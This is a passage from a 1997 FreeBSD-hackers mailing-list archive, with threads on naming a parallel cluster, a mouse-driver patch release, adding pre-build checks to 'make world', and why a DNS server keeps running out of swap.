1997 10:03:07 +0200 From: lada@ws6303.gud.siemens.at (marino.ladavac@siemens.at) Message-Id: <199710080803.KAA19138@ws6423.gud.siemens.at> To: ken@plutotech.com, tlambert@primenet.com Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD Cc: freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: LJV+nun9xlhp3T0Tsc8W4w== Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From owner-freebsd-smp@FreeBSD.ORG Tue Oct 7 23:46:06 MET 1997 > From: Terry Lambert > Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD > To: ken@plutotech.com (Kenneth Merry) > Date: Tue, 7 Oct 1997 21:24:07 +0000 (GMT) > Cc: freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG > X-Loop: FreeBSD.org > > > > | > How about "The Swarm" then? It would have already been built had I not > > > | > bought myself a place to live instead. It had sort of a priority over > > > | > toys :( > > > | > > > | Hmmm. Swarm. That makes me think of locusts, those industrious > > > | little insects which often move from place to place in great numbers, > > > | eating and overcoming all in their path. > > > > > > How about the 'Hive' then for a group of industrious hardworking insects > > > working in harmony... > > > > The name 'Beehive' is already in use: > > Palanquin. > > It even has an obvious graphic: a bunch of BSD daemons at the cross > members, carryuing it. There is another one, obvious and probably taken, but: Phalanx n. 1 (in ancient Greece) close formation, esp. of infantry ready for battle. The graphic should be obvious, too. /Marino > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. From owner-freebsd-hackers Wed Oct 8 01:33:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA03119 for hackers-outgoing; Wed, 8 Oct 1997 01:33:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA03114 for ; Wed, 8 Oct 1997 01:33:28 -0700 (PDT) (envelope-from yokota@zodiac.mech.utsunomiya-u.ac.jp) Received: by outmail.utsunomiya-u.ac.jp id AA10863; Wed, 8 Oct 1997 17:33:25 +0900 Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id RAA15160; Wed, 8 Oct 1997 17:39:38 +0900 (JST) Message-Id: <199710080839.RAA15160@zodiac.mech.utsunomiya-u.ac.jp> To: hackers@freebsd.org Cc: yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: extending mouse support Date: Wed, 08 Oct 1997 17:39:38 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is to announce the second test release of the set of patch files for 3.0-CURRENT, 2.2-STABLE and 2.2.2-RELEASE to modify device drivers (psm, mse), `moused' and `sysmouse (syscons)' to take advantage of new features (such as a wheel) of recent mouse products (i.e IntelliMouse). I have placed the patch files and documentation in ftp://ftp.freebsd.org/pub/FreeBSD/incoming/mouse971007.tar.gz I also included the patch for XFree86 3.3. Installation procedure and details of modifications are described in NOTES in the tar file. Please read included man pages too. I would be grateful if you could kindly try it and send me some comments. Kazu From owner-freebsd-hackers Wed Oct 8 02:40:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA07275 for hackers-outgoing; Wed, 8 Oct 1997 02:40:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA07267 for ; Wed, 8 Oct 1997 02:40:48 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id CAA24395; Wed, 8 Oct 1997 02:40:08 -0700 (PDT) To: Chuck Robey cc: hackers@FreeBSD.ORG, "Matthew D. Fuller" Subject: Re: group assignments from make world. In-reply-to: Your message of "Wed, 08 Oct 1997 02:25:42 EDT." Date: Wed, 08 Oct 1997 02:40:08 -0700 Message-ID: <24391.876303608@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm thinking that were giving misleading signals to folks, Jordan. With > one hand we're making it easier than ever to run current (WC publishes > snaps) and the documentation really isn't scary enough, in warning about > the problems involved with being a current user. I don't mind folks running -current, really, I just don't want to have to play paramedic every time they cut themselves on a sharp edge. It's really not so much a matter of: > It just seems that FreeBSD's attitude about current users could be > construed as being a little schizophrenic (closer -- closer -- closer -- > GET AWAY! GET AWAY! GET AWAY!) So much as "closer -- closer -- closer -- OK, now everybody just sit down and shut up - I don't want to hear a peep out of this class unless it's to offer a constructive suggestion or to note that the building is burning down and no fire alarms seem to be going off!" :-) Jordan From owner-freebsd-hackers Wed Oct 8 02:46:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA07630 for hackers-outgoing; Wed, 8 Oct 1997 02:46:13 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA07625 for ; Wed, 8 Oct 1997 02:46:10 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id CAA24414; Wed, 8 Oct 1997 02:45:29 -0700 (PDT) To: Simon Shapiro cc: "Matthew D. Fuller" , hackers@FreeBSD.ORG Subject: Re: group assignments from make world. In-reply-to: Your message of "Tue, 07 Oct 1997 23:43:20 PDT." Date: Wed, 08 Oct 1997 02:45:29 -0700 Message-ID: <24410.876303929@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I also see something else; Many times a question will trigger a discussion > that end up way out (compared to the original subject). This is good, I > think, but increases the volume on the lists. Yes. I'm all for discussion but the volume really has gotten to be just a bit much and the percentage of useful info we developers glean from the interaction is decreasing. That's bad since it will only lead to the abandonment of these lists by that same developer crowd - it's been months since I was last able to subscribe to freebsd-isp or freebsd-questions, for example, and I think freebsd-hackers is going to be the next to go for me. Sigh. > If you are to categorize access, how will you do that? Will you restrict > some? Based on what criteria? I guess if I we could get everyone on the bleeding edge (e.g. tracking a branch vs hanging out at the last release) to subscribe to the right mailing lists and also be _very aware_ that they were about to do the equivalent of hang gliding off of Everest and if they run into trouble, they're basically on their own. > I think you should chalk this issue up to ``cost of doing busines''. I have been, believe me, but that cost is rising every day. I'm not sure we can afford it forever and still remain the project everyone wants us to be. > BTW, the {Open,Net} lists are much quiter, or am I wrong? Smaller. :( Jordan From owner-freebsd-hackers Wed Oct 8 04:58:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA13083 for hackers-outgoing; Wed, 8 Oct 1997 04:58:28 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA13074 for ; Wed, 8 Oct 1997 04:58:23 -0700 (PDT) (envelope-from aflundi@lundin.abq.nm.us) Received: from lundin.abq.nm.us. (lundin.abq.nm.us [198.59.115.228]) by kitsune.swcp.com (8.8.5/1.2.3) with ESMTP id FAA17760 for ; Wed, 8 Oct 1997 05:58:20 -0600 (MDT) Received: (from aflundi@localhost) by lundin.abq.nm.us. (8.8.7/8.8.5) id FAA01179 for hackers@FreeBSD.ORG; Wed, 8 Oct 1997 05:57:38 -0600 (MDT) Date: Wed, 8 Oct 1997 05:57:38 -0600 (MDT) From: Alan Lundin Message-Id: <199710081157.FAA01179@lundin.abq.nm.us.> In-Reply-To: asami@cs.berkeley.edu (Satoshi Asami) "Re: group assignments from make world." (Oct 7, 11:21pm) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: hackers@FreeBSD.ORG Subject: Re: group assignments from make world. Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Oct 7, 11:21pm, Satoshi Asami wrote: > Subject: Re: group assignments from make world. > > * Any suggestions? Do people really want to see a "general information > > Well, for things as simple as this, maybe we can add a default > "pre-world" target or something that tests /etc against possible > outdated-ness. I agree with Satoshi, except that it could, of course, be extended beyond the bonds of /etc (/usr/include, for instance, or "what /usr/sbin/config"). If the first thing that "make world" does is run a (or a series of) pre-world test script(s), then people will know right away if it'll bomb for the things that can be tested for. Perhaps the script even could put out a message to shame people into reading the appropriate doc (saving Jordan from preforming the evil deed). For example: # make world [ blah blah ] Error: "make installworld" cannot succeed. The group "network" is not in /etc/group Read FAQ x.y and RELEASE.TXT for details. # Admittedly, automatically fixing brokenness is hard and potentially dangerous, but just checking for necessary pre-conditions ought to be fairly easy (most of the time anyway). --alan From owner-freebsd-hackers Wed Oct 8 05:51:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA15575 for hackers-outgoing; Wed, 8 Oct 1997 05:51:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unicorn.uk1.vbc.net (unicorn.uk1.vbc.net [194.207.2.11]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA15561 for ; Wed, 8 Oct 1997 05:51:39 -0700 (PDT) (envelope-from gordon@drogon.net) Received: from localhost (gordon@localhost) by unicorn.uk1.vbc.net (8.8.5/8.8.5) with SMTP id NAA27965 for ; Wed, 8 Oct 1997 13:55:54 +0100 Date: Wed, 8 Oct 1997 13:55:54 +0100 (BST) From: Gordon Henderson X-Sender: gordon@unicorn To: hackers@freebsd.org Subject: Wheres all my memory going? Message-ID: Distribution: world Organization: Home for lost Drogons MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm trying to run a top-level-domain nameserver with FreeBSD and every day or so it just runs out of memory. The machine has 512MB of RAM. It's running 2.2-STABLE with DG's patches to i386/conf/Makefile.i386, i386/include/pmap.h and i386/include/vmparam.h to change the kernel virtual address space. Startup messages look like: Oct 7 14:58:37 gtld-b /kernel: CPU: Pentium (132.96-MHz 586-class CPU) Oct 7 14:58:37 gtld-b /kernel: Origin = "GenuineIntel" Id = 0x52c Stepping=12 Oct 7 14:58:37 gtld-b /kernel: Features=0x3bf Oct 7 14:58:38 gtld-b /kernel: real memory = 536870912 (524288K bytes) Oct 7 14:58:38 gtld-b /kernel: avail memory = 524984320 (512680K bytes) etc. Machine boots OK. I start named (8.1.1) and it initialises. However, after some time (a day or so) the machine start to run out of swap space. I only allocated 64M of swap. (Is this the problem?) What I can't figure out is where the memory is going. Output of 'top -b' shows: last pid: 5653; load averages: 0.00, 0.00, 0.16 13:42:49 13 processes: 1 running, 12 sleeping Mem: 242M Active, 50M Inact, 26M Wired, 34M Cache, 1726K Buf, 152M Free Swap: 64M Total, 53M Used, 11M Free, 83% Inuse PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND 5653 root 29 0 584K 820K RUN 0:00 0.00% 0.00% top 5426 root 18 0 452K 268K pause 0:00 0.00% 0.00% csh 101 root 18 0 332K 336K pause 0:01 0.00% 0.00% cron 5416 gordon 18 0 444K 128K pause 0:00 0.00% 0.00% csh 1 root 10 0 408K 92K wait 0:00 0.00% 0.00% init 148 root 3 0 180K 224K ttyin 0:00 0.00% 0.00% getty 144 root 3 0 180K 224K ttyin 0:00 0.00% 0.00% getty 287 root 2 0 283M 856K select 237:25 0.00% 0.00% named 457 root 2 -12 416K 444K select 0:10 0.00% 0.00% xntpd 70 root 2 0 204K 336K select 8:13 0.00% 0.00% syslogd 5415 root 2 0 168K 320K select 0:00 0.00% 0.00% rlogind 99 root 2 0 192K 240K select 0:00 0.00% 0.00% inetd 104 root 2 0 208K 228K select 0:00 0.00% 0.00% lpd And that just does now add up!!! (Yes, named is supposed to be that large, but it's no-where near the total memory of the machine) I really really want this machine to work so I'm willing to give just about anything a try. (And if if works, then we can have another serious machine to add to the gallery...) Gordon From owner-freebsd-hackers Wed Oct 8 05:52:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA15619 for hackers-outgoing; Wed, 8 Oct 1997 05:52:05 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from silvia.HIP.Berkeley.EDU (ala-ca9-32.ix.netcom.com [207.93.143.96]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA15602 for ; Wed, 8 Oct 1997 05:51:58 -0700 (PDT) (envelope-from asami@vader.cs.berkeley.edu) Received: (from asami@localhost) by silvia.HIP.Berkeley.EDU (8.8.7/8.6.9) id FAA17812; Wed, 8 Oct 1997 05:50:35 -0700 (PDT) Date: Wed, 8 Oct 1997 05:50:35 -0700 (PDT) Message-Id: <199710081250.FAA17812@silvia.HIP.Berkeley.EDU> To: aflundi@lundin.abq.nm.us CC: hackers@FreeBSD.ORG In-reply-to: <199710081157.FAA01179@lundin.abq.nm.us.> (message from Alan Lundin on Wed, 8 Oct 1997 05:57:38 -0600 (MDT)) Subject: Re: group assignments from make world. From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk * I agree with Satoshi, except that it could, of * course, be extended beyond the bonds of /etc * (/usr/include, for instance, or "what /usr/sbin/config"). Actually, everything outside /etc is updated automatically (that was the purpose of the "world" target). And config is needed only for kernel build, which is not part of "world" anyway. * If the first thing that "make world" does is run a * (or a series of) pre-world test script(s), then * people will know right away if it'll bomb for * the things that can be tested for. Perhaps the * script even could put out a message to shame people * into reading the appropriate doc (saving Jordan * from preforming the evil deed). For example: Yes. Note that we need a little intelligence on exactly when to do this testing, as the user may be doing a "buildworld" on one machine with the intention todo "installworld" on another later. But we can't just put it at the beginning of "installworld" if we want to be helpful because it will be the same old "I typed make world and went to sleep, I woke up and the stupid !$(*!^%$!( make world died in the middle" story. Something like: === world: make preworldtest make buildworld make installworld JUSTBUILTWORLD=t installworld: .if !defined(JUSTBUILTWORLD) make preworldtest .endif preworldtest: do test, warn, bark, exit if necessary === Satoshi From owner-freebsd-hackers Wed Oct 8 06:34:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA17398 for hackers-outgoing; Wed, 8 Oct 1997 06:34:28 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA17393 for ; Wed, 8 Oct 1997 06:34:23 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id XAA04444; Wed, 8 Oct 1997 23:01:18 +0930 (CST) Message-Id: <199710081331.XAA04444@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Gordon Henderson cc: hackers@freebsd.org Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Wed, 08 Oct 1997 13:55:54 +0100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Oct 1997 23:01:16 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I'm trying to run a top-level-domain nameserver with FreeBSD and every day > or so it just runs out of memory. The machine has 512MB of RAM. It's > running 2.2-STABLE with DG's patches to i386/conf/Makefile.i386, > i386/include/pmap.h and i386/include/vmparam.h to change the kernel > virtual address space. ... > Machine boots OK. I start named (8.1.1) and it initialises. However, after > some time (a day or so) the machine start to run out of swap space. I only > allocated 64M of swap. (Is this the problem?) What I can't figure out is > where the memory is going. Output of 'top -b' shows: Running out of memory != running out of swap. You should *always* have more swap than memory. Stuff will be paged out as it becomes very-unused, and eventually you will get to the point where there is stuff that could be pushed out because it's not been used for ages but you have nowhere to put it, and thus you're out of swap. > Mem: 242M Active, 50M Inact, 26M Wired, 34M Cache, 1726K Buf, 152M Free > Swap: 64M Total, 53M Used, 11M Free, 83% Inuse ... > And that just does now add up!!! (Yes, named is supposed to be that large, > but it's no-where near the total memory of the machine) Yes it does: 242 + 50 + 26 + 34 + 1.762 + 152 ~= 512. The issue is that "inactive" memory will eventually be paged out so that there are more free pages available in case they're needed in a hurry. > I really really want this machine to work so I'm willing to give just > about anything a try. (And if if works, then we can have another serious > machine to add to the gallery...) Add more swap! Given your concern about this above, I can't understand why you haven't tried it already? mike From owner-freebsd-hackers Wed Oct 8 06:39:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA17643 for hackers-outgoing; Wed, 8 Oct 1997 06:39:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unicorn.uk1.vbc.net (unicorn.uk1.vbc.net [194.207.2.11]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA17629 for ; Wed, 8 Oct 1997 06:39:31 -0700 (PDT) (envelope-from gordon@drogon.net) Received: from localhost (gordon@localhost) by unicorn.uk1.vbc.net (8.8.5/8.8.5) with SMTP id OAA28263; Wed, 8 Oct 1997 14:41:56 +0100 Date: Wed, 8 Oct 1997 14:41:56 +0100 (BST) From: Gordon Henderson X-Sender: gordon@unicorn To: Mike Smith cc: hackers@freebsd.org Subject: Re: Wheres all my memory going? In-Reply-To: <199710081331.XAA04444@word.smith.net.au> Message-ID: Distribution: world Organization: Home for lost Drogons MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 8 Oct 1997, Mike Smith wrote: > > Mem: 242M Active, 50M Inact, 26M Wired, 34M Cache, 1726K Buf, 152M Free > > Swap: 64M Total, 53M Used, 11M Free, 83% Inuse > ... > > And that just does now add up!!! (Yes, named is supposed to be that large, > > but it's no-where near the total memory of the machine) > > Yes it does: 242 + 50 + 26 + 34 + 1.762 + 152 ~= 512. But if theres 152MB of free memory then why is it ever pushing stuff out into swap??? Gordon From owner-freebsd-hackers Wed Oct 8 06:54:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA18404 for hackers-outgoing; Wed, 8 Oct 1997 06:54:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA18397 for ; Wed, 8 Oct 1997 06:54:31 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id GAA19466; Wed, 8 Oct 1997 06:56:13 -0700 (PDT) Message-Id: <199710081356.GAA19466@implode.root.com> To: Gordon Henderson cc: hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Wed, 08 Oct 1997 13:55:54 BST." From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 06:56:13 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Machine boots OK. I start named (8.1.1) and it initialises. However, after >some time (a day or so) the machine start to run out of swap space. I only >allocated 64M of swap. (Is this the problem?) What I can't figure out is >where the memory is going. Output of 'top -b' shows: Yes, you need more swap than you have RAM...this is very important to avoid problems. >Mem: 242M Active, 50M Inact, 26M Wired, 34M Cache, 1726K Buf, 152M Free >Swap: 64M Total, 53M Used, 11M Free, 83% Inuse ... >And that just does now add up!!! (Yes, named is supposed to be that large, >but it's no-where near the total memory of the machine) Sure it does, but the numbers mean something different from how you're interpreting them. "Active" and "Inact" pages are pages that are either part of processes _or_ cached files. "Wired" memory is memory that the kernel has allocated internally, most of which is probably for networking buffers (you apparantly have or had a large number of active TCP connections?). "Cache" pages are second-chance cached file data; "Buf" is memory allocated to filesystem buffers; and "Free" is completely unused memory. The bottom line is that it really isn't possible to determine precisely how much memory processes are using without carefully analyzing the output of 'ps' and adding up the RSS. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 07:08:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA19237 for hackers-outgoing; Wed, 8 Oct 1997 07:08:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unicorn.uk1.vbc.net (unicorn.uk1.vbc.net [194.207.2.11]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA19212 for ; Wed, 8 Oct 1997 07:08:06 -0700 (PDT) (envelope-from gordon@drogon.net) Received: from localhost (gordon@localhost) by unicorn.uk1.vbc.net (8.8.5/8.8.5) with SMTP id PAA28313; Wed, 8 Oct 1997 15:12:16 +0100 Date: Wed, 8 Oct 1997 15:12:16 +0100 (BST) From: Gordon Henderson X-Sender: gordon@unicorn To: David Greenman cc: hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-Reply-To: <199710081356.GAA19466@implode.root.com> Message-ID: Distribution: world Organization: Home for lost Drogons MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 8 Oct 1997, David Greenman wrote: > The bottom line is that it really isn't possible to determine precisely > how much memory processes are using without carefully analyzing the output > of 'ps' and adding up the RSS. UID PID PPID CPU PRI NI VSZ RSS WCHAN STAT TT TIME COMMAND 0 0 0 0 -18 0 0 0 sched DLs ?? 0:00.11 (swapper) 0 1 0 0 10 0 408 92 wait Is ?? 0:00.03 /sbin/init - 0 2 0 31 -18 0 0 12 psleep DL ?? 2:33.07 (pagedaemon 0 3 0 0 28 0 0 12 psleep DL ?? 0:00.00 (vmdaemon) 0 4 0 0 28 0 0 12 update DL ?? 2:38.60 (update) 0 70 1 0 2 0 204 336 select Ss ?? 8:13.83 syslogd 0 99 1 0 2 0 192 240 select Is ?? 0:00.04 inetd 0 101 1 0 18 0 332 336 pause Is ?? 0:01.40 cron 0 104 1 13 2 0 208 228 select Is ?? 0:00.02 lpd 0 287 1 9 2 0 290060 840 select Ss ?? 237:40.19 named 0 457 1 42 2 -12 416 456 select S Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA21414 for hackers-outgoing; Wed, 8 Oct 1997 07:44:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA21403 for ; Wed, 8 Oct 1997 07:44:25 -0700 (PDT) (envelope-from nate@rocky.mt.sri.com) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id IAA01666; Wed, 8 Oct 1997 08:44:23 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id IAA10574; Wed, 8 Oct 1997 08:44:21 -0600 (MDT) Date: Wed, 8 Oct 1997 08:44:21 -0600 (MDT) Message-Id: <199710081444.IAA10574@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Jordan K. Hubbard" Cc: hackers@freebsd.org, "Matthew D. Fuller" Subject: Re: group assignments from make world. In-Reply-To: <22723.876286392@time.cdrom.com> References: <22723.876286392@time.cdrom.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Maybe it's time to institute something a little bit closer to the > XFree86 Project's BETA program? ... > you left it, so would your "license to cvsup" :-). Too draconian? Yep. None of the other 'free' OS's do this, so introducing it would be bad press. Technically it's a good solution, but it'd be too much grief to implement and take press hits for publically IMHO. Nate From owner-freebsd-hackers Wed Oct 8 07:49:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA21769 for hackers-outgoing; Wed, 8 Oct 1997 07:49:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA21763 for ; Wed, 8 Oct 1997 07:49:45 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id HAA20067; Wed, 8 Oct 1997 07:50:00 -0700 (PDT) Message-Id: <199710081450.HAA20067@implode.root.com> To: Gordon Henderson cc: Mike Smith , hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Wed, 08 Oct 1997 14:41:56 BST." From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 07:50:00 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >On Wed, 8 Oct 1997, Mike Smith wrote: > >> > Mem: 242M Active, 50M Inact, 26M Wired, 34M Cache, 1726K Buf, 152M Free >> > Swap: 64M Total, 53M Used, 11M Free, 83% Inuse >> ... >> > And that just does now add up!!! (Yes, named is supposed to be that large, >> > but it's no-where near the total memory of the machine) >> >> Yes it does: 242 + 50 + 26 + 34 + 1.762 + 152 ~= 512. > >But if theres 152MB of free memory then why is it ever pushing stuff out >into swap??? Because there was something that took lots of memory and triggered a pageout. The system "caches" the data written out to swap - it isn't freed up just by being paged back in again. This is why it is so important that you have at least as much swap as you have main memory. The weird thing isn't the memory totals - these make perfect sense to those of us who understand what they mean...but what's quite unusual is the size of your named process: UID PID PPID CPU PRI NI VSZ RSS WCHAN STAT TT TIME COMMAND 0 287 1 9 2 0 290060 840 select Ss ?? 237:40.19 named ...almost 300MB of virtual memory? Wow! I'd ask just what you were primary/secondary for, but I don't think I want to know. :-) It's also strange that the RSS is so small given the VSZ. Your pagedaemon is also consuming a lot of CPU, which probably means that the system is paging a lot...you apparantly have other things on the system competing for memory as well. "top" is a poor utility for looking at this sort of thing since this shows top CPU consumers, not top memory consumers. You really should be using 'ps -alx' to look at this stuff. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 07:58:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA22379 for hackers-outgoing; Wed, 8 Oct 1997 07:58:33 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA22370 for ; Wed, 8 Oct 1997 07:58:28 -0700 (PDT) (envelope-from karpen@ocean.campus.luth.se) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id RAA00426; Wed, 8 Oct 1997 17:03:36 +0200 (CEST) From: Mikael Karpberg Message-Id: <199710081503.RAA00426@ocean.campus.luth.se> Subject: Re: Wheres all my memory going? In-Reply-To: from Gordon Henderson at "Oct 8, 97 02:41:56 pm" To: gordon@drogon.net (Gordon Henderson) Date: Wed, 8 Oct 1997 17:03:35 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Gordon Henderson: > On Wed, 8 Oct 1997, Mike Smith wrote: > > > > Mem: 242M Active, 50M Inact, 26M Wired, 34M Cache, 1726K Buf, 152M Free > > > Swap: 64M Total, 53M Used, 11M Free, 83% Inuse > > ... > > > And that just does now add up!!! (Yes, named is supposed to be that large, > > > but it's no-where near the total memory of the machine) > > > > Yes it does: 242 + 50 + 26 + 34 + 1.762 + 152 ~= 512. > > But if theres 152MB of free memory then why is it ever pushing stuff out > into swap??? Because if some program has allocaed a lot of memory it doesn't use, then the memory will slowly be written down to swap when there's free time to do so. This is so that if 200MB memory is needed instantly at a later time free memory (152 MB) AND inactive memory need to be used. So everything "inactive" will simply be given to the new user, since the contents of the memory are already saved to the swap. Otherwise the computer would have to "sit and wait" when the memory was needed, while the old contents were written to swap. Now it doesn't have to. It's already written to swap when the memory is needed elsewere. This makes the operation of the machine faster. That's why. Disclaimer: I really am not sure how correct this is, but I think I have the right general idea. /Mikael From owner-freebsd-hackers Wed Oct 8 09:15:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA27022 for hackers-outgoing; Wed, 8 Oct 1997 09:15:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA27007 for ; Wed, 8 Oct 1997 09:15:26 -0700 (PDT) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 12022 invoked by uid 1000); 8 Oct 1997 16:15:48 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-100597 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 